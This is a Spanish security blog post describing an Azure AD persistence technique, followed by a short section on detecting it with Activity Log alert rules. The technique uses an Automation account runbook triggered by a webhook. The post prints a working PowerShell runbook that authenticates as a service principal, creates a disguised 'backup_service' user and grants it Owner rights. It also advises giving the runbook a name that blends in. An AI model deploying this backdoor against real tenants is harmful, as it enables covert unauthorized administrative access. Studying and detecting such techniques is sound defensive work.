viernes, 16 de septiembre de 2022

Mecanismos de persistencia en Azure AD mediante Runbooks, automatización y webhooks. y Detección !!!

 Estimados amigos de Inseguros !!!

En el post de hoy vamos a hablar de una de las fases que menos interesan a los blue team de primeras, a los red team así así, pero a los de respuesta a incidentes les trae de cabeza. Hablo sin duda de la persistencia.

En algún curso lo he preguntado los primeros días y confunden persistencia con tenacidad xD intentarlo muchas veces... no. Nos referimos a garantizar el acceso después de comprometer un equipo.

Por ejemplo, si pillas las claves de administrador, crear un usuario con esos permisos por si cambian las claves del usuario administrador, no quedarte sin nada...


El "rojo" quiere entrar como sea... el azúl que no le entren, pero cuando estás jodido, hay que ver por donde, y esto es muy dificil de detectar en un entorno Cloud en donde los logs no están tan a la vista, y todo es más "software" aún si cabe...

Vamos a trabajar con los Runbooks, los servicios de automatización de Azure. Si leiste el artículo de cómo identificarlos seguro que te suena algo más.

La idea es que después de comprometer un equipo, creemos una automatización que contenga un script, que cree un usuario con permisos. Crearemos una invocación. 

Si después de nuestro ataque revocan accesos que teníamos, realizaremos la invocación de un webhook que activará el script que creará un usuario y password. El concepto es sencillo.

Vamos a crear lo primero la cuenta de automatización.


Asignamos a la identidad de la cuenta que hemos creado para la cuenta de automatización los permisos de administrador de usuarios y de permisos.


Ahora nos vamos a la suscripción que queramos, al grupo de recursos, y añadimos el rol de Owner a la cuenta de automatización que hemos creado...


Se masca la tragedia? xDDDDD

Ahora volvemos a la cuenta de automatización y nos vamos a Módulos.


Y en examinar galeria, importamos az.accounts y az.resources


Una vez que tenemos "a nuestro alcance" los módulos, vamos a la cuenta de automatización, runbooks y le decimos importar. Ahora subiremos nuestro script de la muerte con la persistencia que queremos !!!

El script que ha funcionado es este:

Import-Module Az.Accounts
Import-Module Az.Resources
$user = "maloso@****.onmicrosoft.com"
$pass = "***”
$Nickname = "BackupsVc"
$DisplayName = "backup_service"
Connect-AzAccount -CertificateThumbprint "CBD27*****31AAA1" -TenantId "57****abf6-3f963d9d976e" -ApplicationId "f8916*****f6fda9" -ServicePrincipal
$SecureStringPassword = ConvertTo-SecureString -String $pass -AsPlainText -Force
New-AzADUser -DisplayName $DisplayName -UserPrincipalName $user -Password $SecureStringPassword -MailNickname $Nickname
New-AzRoleAssignment -SignInName $user -RoleDefinitionName "Owner"

Te aconsejo que primero vayas probando desde ahí mismo para ver los errores, en una consola o desde la creación del runbook.

Cuando importamos, fijaros en los nombres de los runbooks previos, veis que tenemos alguno de tutorial, lo suyo es usar una nomenclatura como esa.


Ahora añadimos lo que será nuestra puerta de entrada, el webhook que llamará al automatismo para recuperar nuestra persistencia.


Una vez tenemos la llamada, procedemos a invocarlos y bingo, se nos crea el usuario...


Para rellenar el script con vuestros datos, creo que lo tenéis todo aquí:


La idea de usar las cuentas de automatismos no es ni nueva ni mía. Hace dos o tres años que se viene apareciendo este TTP y ya se ha hablado de ella en varios blogs, pero me gusta aportar mi granito de arena, y sobre todo, que a día de hoy, los scripts de las webs existentes no funcionan. Ya sabéis que actualizan las versiones de los módulos de Powershell, y algunos Cmdlets cambian.

Al final, es importante conocer estas técnicas tanto si atacas, como si defiendes, y que consolides y aprendas de los todo el mundo Azure. Como decía un haters, que es como el ordenador de otro...si si...

Lo que es más importante es ser capaces de detectar estos movimientos. Por ejemplo, en este ejercicio hemos creado automatismos, usuarios, hemos metido usuarios a grupos... todo esto te lo debería cantar un SIEM. Pero quien tiene un SIEM hoy en día? xD xD xD

Vamos a ver un sistema de detección más sencillo. Vamos a empezar al revés, por crear los eventos. Es decir, si sigues este artículo, tendrás estos eventos.

Ahora nos vamos a una suscripción, donde hemos creado la cuenta de automatización y vemos los registros de actividad.


Con el evento que más nos gsute, le damos a Nueva Regla de Alertas. Por ejemplo en creación de Automation job.


Aquí deberías cambiar Evento iniciado por, y dejar TODOS...

Seguimos con más detalles... 


A continuación seleccionamos Acciones, crear. Y vamos a crear notificaciones a kino xD


Con esto y poco más, tendremos una alerta cuando se produzca un evento de este tipo...



Existen otras vías para configurar estas acciones, en otro post los veremos.

Espero que os guste, gracias por leerme !!!

Y si te gusta este contenido, te animo a que te registre para estar al día de nuevos post, cursos, webinars, eventos etc.